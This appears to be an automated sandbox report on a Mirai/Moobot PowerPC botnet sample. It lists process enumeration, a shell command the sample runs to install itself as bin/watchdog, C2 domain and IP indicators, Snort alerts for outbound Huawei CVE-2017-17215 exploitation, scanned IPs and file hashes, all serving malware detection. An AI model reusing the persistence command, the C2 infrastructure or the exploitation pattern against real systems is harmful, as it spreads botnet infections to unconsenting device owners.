Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/111/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/232/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1579/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/112/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/233/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1699/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/113/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/234/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1335/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1698/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/114/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/235/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1334/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1576/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/2302/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/115/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/236/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/116/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/237/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/117/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/118/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/910/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/119/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/912/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/10/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/2307/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/11/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/918/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/12/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/13/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/14/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/15/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/16/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/17/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/18/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1594/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/120/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/121/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1349/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/122/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/243/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/123/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/2/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/124/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/3/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/4/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/125/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/126/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1344/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1465/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1586/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/127/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/6/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/248/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/128/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/249/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1463/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/800/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/6238/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/9/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/801/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/20/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/21/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1900/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/22/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/23/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/24/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/25/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/26/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/27/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/28/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/29/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/491/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/250/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/130/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/251/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/252/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/132/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/253/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/254/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/255/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/256/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1599/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/257/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1477/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/379/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/258/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1476/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/259/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1475/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/4502/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/936/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/30/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/2208/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/35/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1809/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1494/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/260/cmdline

Source: /usr/bin/chmod (PID: 6231)

File: /tmp/bin/watchdog (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /tmp/lD25Z9LfKe.elf (PID: 6226)

Shell command executed: sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/lD25Z9LfKe.elf bin/watchdog; chmod 777 bin/watchdog"

Source: /bin/sh (PID: 6228)

Rm executable: /usr/bin/rm -> rm -rf bin/watchdog

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 57718
Source: unknown	Network traffic detected: HTTP traffic on port 40848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 32970
Source: unknown	Network traffic detected: HTTP traffic on port 46324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 42302
Source: unknown	Network traffic detected: HTTP traffic on port 38528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 38528
Source: unknown	Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45430
Source: unknown	Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52042
Source: unknown	Network traffic detected: HTTP traffic on port 57754 -> 37215

Source: /tmp/lD25Z9LfKe.elf (PID: 6224)

Queries kernel information via 'uname':

Source: lD25Z9LfKe.elf, 6224.1.0000560cd0f8d000.0000560cd103d000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: lD25Z9LfKe.elf, 6224.1.0000560cd0f8d000.0000560cd103d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: lD25Z9LfKe.elf, 6224.1.00007ffccda8b000.00007ffccdaac000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: lD25Z9LfKe.elf, 6224.1.00007ffccda8b000.00007ffccdaac000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/lD25Z9LfKe.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/lD25Z9LfKe.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: lD25Z9LfKe.elf, type: SAMPLE
Source: Yara match	File source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: lD25Z9LfKe.elf, type: SAMPLE
Source: Yara match	File source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lD25Z9LfKe.elf PID: 6224, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: lD25Z9LfKe.elf, type: SAMPLE
Source: Yara match	File source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: lD25Z9LfKe.elf, type: SAMPLE
Source: Yara match	File source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lD25Z9LfKe.elf PID: 6224, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
lD25Z9LfKe.elf	61%	Virustotal		Browse
lD25Z9LfKe.elf	62%	ReversingLabs	Linux.Trojan.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
j.xnyidc.top	156.224.24.249	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	lD25Z9LfKe.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	lD25Z9LfKe.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.140.45.249	unknown	Morocco	36903	MT-MPLSMA	false
197.32.82.226	unknown	Egypt	8452	TE-ASTE-ASEG	false
163.158.117.225	unknown	Netherlands	15435	KABELFOONDELTAFiberNederlandNL	false
197.222.170.148	unknown	Egypt	37069	MOBINILEG	false
156.68.4.30	unknown	United States	297	AS297US	false
157.170.134.145	unknown	United States	22192	SSHENETUS	false
191.251.70.242	unknown	Brazil	18881	TELEFONICABRASILSABR	false
157.25.93.74	unknown	Poland	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
197.166.178.20	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.37.167.64	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.157.17.94	unknown	South Africa	37168	CELL-CZA	false
197.13.10.211	unknown	Tunisia	37504	MeninxTN	false
166.7.140.80	unknown	United States	4152	USDA-1US	false
42.244.163.220	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
197.96.136.79	unknown	South Africa	3741	ISZA	false
41.28.116.156	unknown	South Africa	29975	VODACOM-ZA	false
41.225.142.122	unknown	Tunisia	37671	GLOBALNET-ASTN	false
157.187.164.211	unknown	United States	668	DNIC-AS-00668US	false
197.67.5.199	unknown	South Africa	16637	MTNNS-ASZA	false
157.201.93.207	unknown	United States	33281	BRIGHAM-YOUNG-UNIVERSITY-IDAHOUS	false
41.197.85.111	unknown	Rwanda	36934	Broadband-Systems-CorporationRW	false
157.91.133.253	unknown	United States	1767	ILIGHT-NETUS	false
116.40.18.77	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
25.39.89.88	unknown	United Kingdom	7922	COMCAST-7922US	false
197.38.199.133	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.215.94.18	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.140.45.231	unknown	Morocco	36903	MT-MPLSMA	false
157.78.121.27	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
41.87.162.76	unknown	Botswana	14988	BTC-GATE1BW	false
157.229.129.36	unknown	United States	122	UPMC-AS122US	false
197.53.131.60	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.208.8.24	unknown	Sudan	36998	SDN-MOBITELSD	false
146.113.78.52	unknown	United States	19653	CTSTELECOMUS	false
41.169.49.23	unknown	South Africa	36937	Neotel-ASZA	false
115.32.176.38	unknown	China	4766	KIXS-AS-KRKoreaTelecomKR	false
93.42.245.167	unknown	Italy	12874	FASTWEBIT	false
217.174.200.116	unknown	France	16128	AGARIK-NETWORKAGARIKprovideWEBServersHostinganddedic	false
116.227.65.226	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
197.205.16.187	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.234.167.162	unknown	South Africa	37315	CipherWaveZA	false
105.120.48.139	unknown	Nigeria	36873	VNL1-ASNG	false
41.133.87.44	unknown	South Africa	10474	OPTINETZA	false
197.43.173.201	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.213.176.58	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
41.215.72.106	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
177.143.135.107	unknown	Brazil	28573	CLAROSABR	false
41.29.197.7	unknown	South Africa	29975	VODACOM-ZA	false
157.68.50.108	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
51.166.246.213	unknown	United States	2686	ATGS-MMD-ASUS	false
218.9.165.51	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.172.225.249	unknown	France	22192	SSHENETUS	false
72.211.79.5	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
197.150.214.14	unknown	Egypt	37069	MOBINILEG	false
65.165.199.98	unknown	United States	397461	DURA-DHQ01US	false
41.108.235.23	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.192.154.253	unknown	Egypt	36992	ETISALAT-MISREG	false
144.159.93.230	unknown	United States	58541	CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN	false
197.82.0.71	unknown	South Africa	10474	OPTINETZA	false
62.112.56.5	unknown	Germany	13157	GOPAS-ASSchellerdamm16DE	false
41.254.111.167	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
148.136.130.185	unknown	Sweden	3246	TDCSONGTele2BusinessTDCSwedenSE	false
41.54.81.5	unknown	South Africa	37168	CELL-CZA	false
197.254.68.2	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
41.38.222.219	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.53.118.43	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.240.217.45	unknown	unknown	37705	TOPNETTN	false
157.217.179.234	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.85.100.79	unknown	South Africa	328418	Olena-Trading-ASZA	false
197.0.31.226	unknown	Tunisia	37705	TOPNETTN	false
81.201.187.28	unknown	France	41157	OXYMIUMFR	false
78.209.232.177	unknown	France	12322	PROXADFR	false
41.60.103.187	unknown	Mauritius	30969	ZOL-ASGB	false
41.30.242.98	unknown	South Africa	29975	VODACOM-ZA	false
197.223.25.39	unknown	Egypt	37069	MOBINILEG	false
41.213.11.5	unknown	South Africa	33762	rainZA	false
41.60.196.93	unknown	Mauritius	37146	realtime-asZM	false
197.34.133.169	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.110.164.253	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.167.121.188	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.78.159.18	unknown	Nigeria	37249	CWHOUSENG	false
132.166.229.117	unknown	France	777	CEA-SaclayEU	false
197.104.43.201	unknown	South Africa	37168	CELL-CZA	false
157.104.170.195	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.111.84.0	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
64.209.21.87	unknown	United States	3549	LVLT-3549US	false
41.237.81.183	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.170.134.112	unknown	United States	22192	SSHENETUS	false
41.112.220.172	unknown	South Africa	16637	MTNNS-ASZA	false
197.123.173.64	unknown	Egypt	36992	ETISALAT-MISREG	false
216.90.206.88	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
41.167.92.137	unknown	South Africa	36937	Neotel-ASZA	false
197.133.107.209	unknown	Egypt	24835	RAYA-ASEG	false
123.234.32.254	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.194.23.197	unknown	Egypt	36992	ETISALAT-MISREG	false
157.114.174.50	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
20.68.251.26	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.89.224.214	unknown	South Africa	10474	OPTINETZA	false
197.217.201.64	unknown	Angola	11259	ANGOLATELECOMAO	false
43.177.91.167	unknown	Japan	4249	LILLY-ASUS	false
188.188.192.207	unknown	Belgium	44944	BASE-ASTelenetGroupNVSABE	false

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.271370241540659
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	lD25Z9LfKe.elf
File size:	62988
MD5:	c929d58b6bb8f66edc985003ba50c3c1
SHA1:	711976261f2f197a341dca8afdb7679f04aa3f99
SHA256:	e1366976365db1f2bffdc37d4e64e12f883f9a20e02b12d52b6a1b346b8f0692
SHA512:	3982301f57bf1e26ee56855de69eb9dce72e2ff1b3437ab9608433955c09f8c2f2e44d120daaaa7edc12e755884555dc5cfa0578f03d18233e256de9c9feb4bb
SSDEEP:	768:qkaZjEoakZNRGHRnDmX7Xm+t/UGV8+BCpEMCi/J9KCrMvuBxANUr6FV+tMiwWfIC:MvolWm+phBgd/KCAWBxANee++bWfvF
TLSH:	C0534B02B31C0A07D1A31AB0253F5BD197BBEAD022F4F684751F979A96B5E361182FCD
File Content Preview:	.ELF...........................4...,.....4. ...(.......................p...p...............t...t...t...l..%t........dt.Q.............................!..\|......$H...H..-...$8!. \|...N.. .!..\|.......?..........T..../...@..\?........+../...A..$8...})......N..

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xd184	0x0	0x6	AX	4
.fini	PROGBITS	0x1000d23c	0xd23c	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000d260	0xd260	0x1e10	0x0	0x2	A	8
.ctors	PROGBITS	0x1001f074	0xf074	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001f07c	0xf07c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1001f088	0xf088	0x314	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001f39c	0xf39c	0x44	0x0	0x3	WA	4
.sbss	NOBITS	0x1001f3e0	0xf3e0	0x74	0x0	0x3	WA	4
.bss	NOBITS	0x1001f454	0xf3e0	0x2194	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf3e0	0x4b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xf070	0xf070	6.3212	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xf074	0x1001f074	0x1001f074	0x36c	0x2574	2.8425	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.238.8.8.833891532023883 03/20/23-15:59:46.829796	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	33891	53	192.168.2.23	8.8.8.8
192.168.2.2341.37.68.24642302372152835222 03/20/23-16:00:54.853824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42302	37215	192.168.2.23	41.37.68.246
192.168.2.23192.119.137.7457754372152835222 03/20/23-16:01:50.220586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57754	37215	192.168.2.23	192.119.137.74
156.224.24.249192.168.2.2356999478282030489 03/20/23-16:01:45.327043	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	56999	47828	156.224.24.249	192.168.2.23
192.168.2.23197.39.222.15245430372152835222 03/20/23-16:01:18.217927	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45430	37215	192.168.2.23	197.39.222.152
156.224.24.249192.168.2.2356999477962030489 03/20/23-16:00:44.195958	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	56999	47796	156.224.24.249	192.168.2.23
192.168.2.23197.214.98.3835290372152835222 03/20/23-16:00:31.085625	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35290	37215	192.168.2.23	197.214.98.38
192.168.2.23141.117.56.18059180372152835222 03/20/23-16:01:09.639143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59180	37215	192.168.2.23	141.117.56.180
192.168.2.23156.224.24.24947828569992030490 03/20/23-16:00:49.583605	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47828	56999	192.168.2.23	156.224.24.249
192.168.2.2334.117.1.25340848372152835222 03/20/23-16:00:17.642577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40848	37215	192.168.2.23	34.117.1.253
192.168.2.23103.167.148.13246324372152835222 03/20/23-16:00:41.668931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46324	37215	192.168.2.23	103.167.148.132
192.168.2.2341.237.49.24132970372152835222 03/20/23-16:00:38.463363	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32970	37215	192.168.2.23	41.237.49.241
192.168.2.2341.234.87.5138528372152835222 03/20/23-16:01:07.497528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38528	37215	192.168.2.23	41.234.87.51
192.168.2.2341.236.241.24052042372152835222 03/20/23-16:01:35.636258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52042	37215	192.168.2.23	41.236.241.240
192.168.2.23197.234.59.6833038372152835222 03/20/23-16:00:22.715968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33038	37215	192.168.2.23	197.234.59.68
192.168.2.2341.34.164.7957718372152835222 03/20/23-15:59:50.971789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57718	37215	192.168.2.23	41.34.164.79
192.168.2.238.8.8.859786532023883 03/20/23-16:00:49.089429	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	59786	53	192.168.2.23	8.8.8.8
192.168.2.2320.28.196.13955414372152835222 03/20/23-16:01:13.960170	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55414	37215	192.168.2.23	20.28.196.139
192.168.2.23156.224.24.24947796569992030490 03/20/23-15:59:47.422349	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47796	56999	192.168.2.23	156.224.24.249

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
